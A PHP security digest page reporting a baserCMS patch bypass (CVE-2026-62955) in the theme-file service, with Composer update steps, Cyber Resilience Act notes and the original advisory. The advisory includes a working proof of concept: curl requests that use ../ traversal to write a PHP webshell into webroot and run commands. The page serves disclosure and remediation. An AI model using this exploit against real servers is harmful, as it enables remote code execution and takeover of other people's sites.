PatchClock

PHP security digest · 20 Nov 2026

baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)

High CVE-2026-62955

Package
baserproject/baser-core
Fixed in
5.3.0
Published
Fri 20 Nov 2026, 00:17 LisbonUpdated Tue 24 Nov 2026, 00:45 Lisbon
Installs on Packagist
54K

In plain words

An authenticated administrator can write files outside the theme directory, potentially running code on the server or overwriting and deleting critical files. The path check is skipped when the requested theme subdirectory does not exist. The earlier fix in 5.2.3 is incomplete, and versions below 5.3.0 are affected.

Affected versions

PackageAffectedFixed in
baserproject/baser-core< 5.3.05.3.0

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

baserproject/baser-core has 54K installs on Packagist, so the advisory reaches a modest number of projects, which does not make yours any safer.

Am I affected?

Check composer.lock for baserproject/baser-core below 5.3.0; 5.3.0 is the fixed version. Check whether .env has USE_CORE_ADMIN_API=true, the BcThemeFile plugin is installed, and administrators can access theme-file operations. The verified setup uses the BcThemeSample theme. Inspect the theme's directories: the bypass condition is a type value mapping to a subdirectory that does not exist.

Did you install baserproject/baser-core, or did a dependency?

Composer says why a package is in your project:

composer why baserproject/baser-core

If the output names your own project, you required baserproject/baser-core directly and the update is yours to make. If it names another package, baserproject/baser-core came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not baserproject/baser-core 5.3.0

Every line it prints is a constraint that blocks 5.3.0. Update the package it names, or raise your own constraint, and run it again until it prints nothing.

What to do

Check which version you have, then update to a fixed release for your branch (5.3.0):

composer show baserproject/baser-core | grep versions
composer update baserproject/baser-core

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

If you cannot update yet

The advisory recommends changing BcThemeFileService::getFullpath() to validate paths unconditionally using normalizePath(), even when the base directory does not exist. It also recommends controller-level validation of path to reject parent-directory traversal and of ext to allow only letters and digits.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if baserproject/baser-core ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated baserproject/baser-core, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

baserproject/baser-core's record

This is one of 2 advisories for baserproject/baser-core in the digest, the first published on 20 November 2026. A package with several advisories is not worse than one with none, which often just means nobody looked; it does tell you to keep it on your update list and to run composer audit after each update.

Other advisories for baserproject/baser-core

  • CVE-2026-63012 · 20 Nov 2026 · Medium · fixed in 5.3.0 baserCMS administrative API authorization bypass through session fallback

The advisory's description

Summary

The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.

An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.

This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).

Details

The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...build $baseDir and $fullPath from $theme, $type, $path...
    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/
    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/

    $resolvedBase = realpath($baseDir);
    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent
        $resolvedBase = rtrim($resolvedBase, DS) . DS;
        $targetDir = realpath(dirname($fullPath));
        if ($targetDir === false) {
            $targetDir = $this->normalizePath(dirname($fullPath));
        }
        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
        }
    }

    return $fullPath;   // ← Returns unvalidated path when realpath returns false
}

Root cause — the bypass condition:

realpath($baseDir) result Behavior
Valid path string (dir exists) Validation runs → ../ traversal blocked ✓
false (dir does not exist) Validation skipped entirely → ../ traversal allowed ✗

Difference from CVE-2026-30940 (original bug):

CVE-2026-30940 (≤ 5.2.2) This bypass (5.2.3)
Validation None at all realpath() check — but conditional
type needed Any valid type (layout, cell, …) Must map to a non-existent subdirectory
path blocked Never Only when target dir already exists
Root cause Missing validation if ($resolvedBase !== false) skips false case

PoC

Prerequisites:

  • baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)
  • Admin credentials
  • USE_CORE_ADMIN_API=true in .env
  • BcThemeFile plugin installed and BcThemeSample theme loaded

Step 1 — Login and obtain JWT token:

curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}

Step 2 — Verify bypass condition (webroot/js/ must not exist):

The bypass requires type=js to map to a non-existent directory. Confirm:

# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css  img   (no js/)

Step 3 — Exploit: write PHP webshell directly to webroot:

Path calculation from baseDir = .../BcThemeSample/webroot/js/:

  • js/ (1 up) → webroot/
  • webroot/ (2 up) → BcThemeSample/
  • BcThemeSample/ (3 up) → plugins/
  • plugins/ (4 up) → /var/www/html/ + webroot/
  • Result: ../../../../webroot/ → /var/www/html/webroot/
TOKEN="eyJ0eXA..."   # from step 1

curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}

Step 4 — Execute RCE:

curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Verified output (Docker, baserCMS 5.2.3):

=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Impact

An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including webroot/, config/, or tmp/. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.

The vulnerability is particularly significant because:

  1. Patch bypass: Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.
  2. Arbitrary directory write: The bypass allows writing to webroot/ (directly HTTP-accessible), config/ (application configuration), or any other directory writable by the PHP process.
  3. File deletion and overwrite: Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.
  4. One-shot per non-existent directory: The exploit creates the target directory as a side effect. Rotating to other unused type values (e.g., font, audio, any arbitrary string) restores the bypass condition.

CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — Score: 7.2 (High)
Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.

Recommended Fix

The patch must validate the path unconditionally, regardless of whether $baseDir exists on disk. Replace the realpath()-conditional block with normalizePath() (already defined in the same class):

// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
    // ... validation only runs here ...
}
return $fullPath;

// FIXED — always validate using normalizePath()
$normalizedBase   = rtrim($this->normalizePath($baseDir),            DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)),  DS) . DS;

if (!str_starts_with($normalizedTarget, $normalizedBase)) {
    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;

Additionally, the path and ext parameters should be validated at the API controller layer:

// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
    throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
    throw new BcException('Invalid extension.');
}

References

Attribution

Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory. Reported by tuannm-1876, arpitjain099.

CWE-22. Path traversal: a file name from the request, with ../ in it, reads or writes files outside the folder the code meant.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.